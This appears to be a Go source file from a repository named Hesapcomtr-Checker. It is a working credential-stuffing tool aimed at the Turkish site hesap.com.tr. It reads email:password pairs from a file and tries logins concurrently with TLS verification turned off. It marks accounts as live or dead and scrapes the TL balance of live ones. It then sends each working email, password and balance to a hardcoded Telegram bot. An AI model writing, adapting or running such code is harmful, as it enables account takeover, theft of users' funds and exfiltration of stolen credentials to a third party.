Hesapcomtr-Checker/main.go
2025-02-03 03:32:15 +00:00

157 lines
3.7 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package main
import (
"bufio"
"crypto/tls"
"fmt"
"io"
"log"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"regexp"
"strings"
"sync"
)
const (
telegramToken = "7408806061:AAGy__Qhk05rjy....."
telegramChatID = "1342133634"
)
func main() {
fmt.Print("Hesaplar dosyasının adı: ")
var filename string
fmt.Scanln(&filename)
file, err := os.Open(filename)
if err != nil {
log.Fatalf("Dosya açılamadı: %v", err)
}
defer file.Close()
scanner := bufio.NewScanner(file)
var wg sync.WaitGroup
semaphore := make(chan struct{}, 10) // Aynı anda 30 işlem
for scanner.Scan() {
semaphore <- struct{}{}
wg.Add(1)
line := scanner.Text()
go func(line string) {
defer wg.Done()
defer func() { <-semaphore }()
jar, _ := cookiejar.New(nil)
client := &http.Client{
Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
Jar: jar,
}
parts := strings.Split(line, ":")
if len(parts) != 2 {
fmt.Printf("Geçersiz format: %s\n", line)
return
}
email := parts[0]
password := parts[1]
csrfToken, err := getCSRFToken(client)
if err != nil {
log.Printf("CSRF token alınamadı: %v\n", err)
return
}
login(client, csrfToken, email, password)
}(line)
}
wg.Wait()
if err := scanner.Err(); err != nil {
log.Fatalf("Dosya okuma hatası: %v", err)
}
}
func getCSRFToken(client *http.Client) (string, error) {
req, err := http.NewRequest("GET", "https://hesap.com.tr/login", nil)
if err != nil {
return "", err
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0")
req.Header.Set("Referer", "https://hesap.com.tr/login")
resp, err := client.Do(req)
if err != nil {
return "", err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return "", err
}
re := regexp.MustCompile(`<meta name="csrf-token" content="(.*?)"`)
matches := re.FindStringSubmatch(string(body))
if len(matches) < 2 {
return "", fmt.Errorf("CSRF token bulunamadı")
}
return matches[1], nil
}
func login(client *http.Client, csrfToken, email, password string) (bool, error) {
data := fmt.Sprintf("_token=%s&email=%s&password=%s", csrfToken, email, password)
req, err := http.NewRequest("POST", "https://hesap.com.tr/login", strings.NewReader(data))
if err != nil {
return false, err
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0")
req.Header.Set("Referer", "https://hesap.com.tr/login")
resp, err := client.Do(req)
if err != nil {
return false, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return false, err
}
if strings.Contains(string(body), "balance") {
re := regexp.MustCompile(`<a [^>]*class="balance"[^>]*>([\d,]+) TL</a>`)
match := re.FindStringSubmatch(string(body))
if len(match) > 1 {
fmt.Printf("Live Acc: %s:%s\n", email, password)
fmt.Printf("TL Miktarı: %s\n", match[1])
sendTelegramNotification(email, password, match[1])
} else {
fmt.Println("Miktar bulunamadı.")
}
return true, nil
} else {
fmt.Printf("Dead Acc: %s:%s\n", email, password)
return false, nil
}
}
func sendTelegramNotification(email, password, balance string) {
message := fmt.Sprintf("Live Account Found!\nEmail: %s\nPassword: %s\nBalance: %s TL", email, password, balance)
escapedMessage := url.QueryEscape(message)
apiURL := fmt.Sprintf("https://api.telegram.org/bot%s/sendMessage?chat_id=%s&text=%s", telegramToken, telegramChatID, escapedMessage)
_, err := http.Get(apiURL)
if err != nil {
log.Printf("Telegram bildirimi gönderilemedi: %v", err)
}
}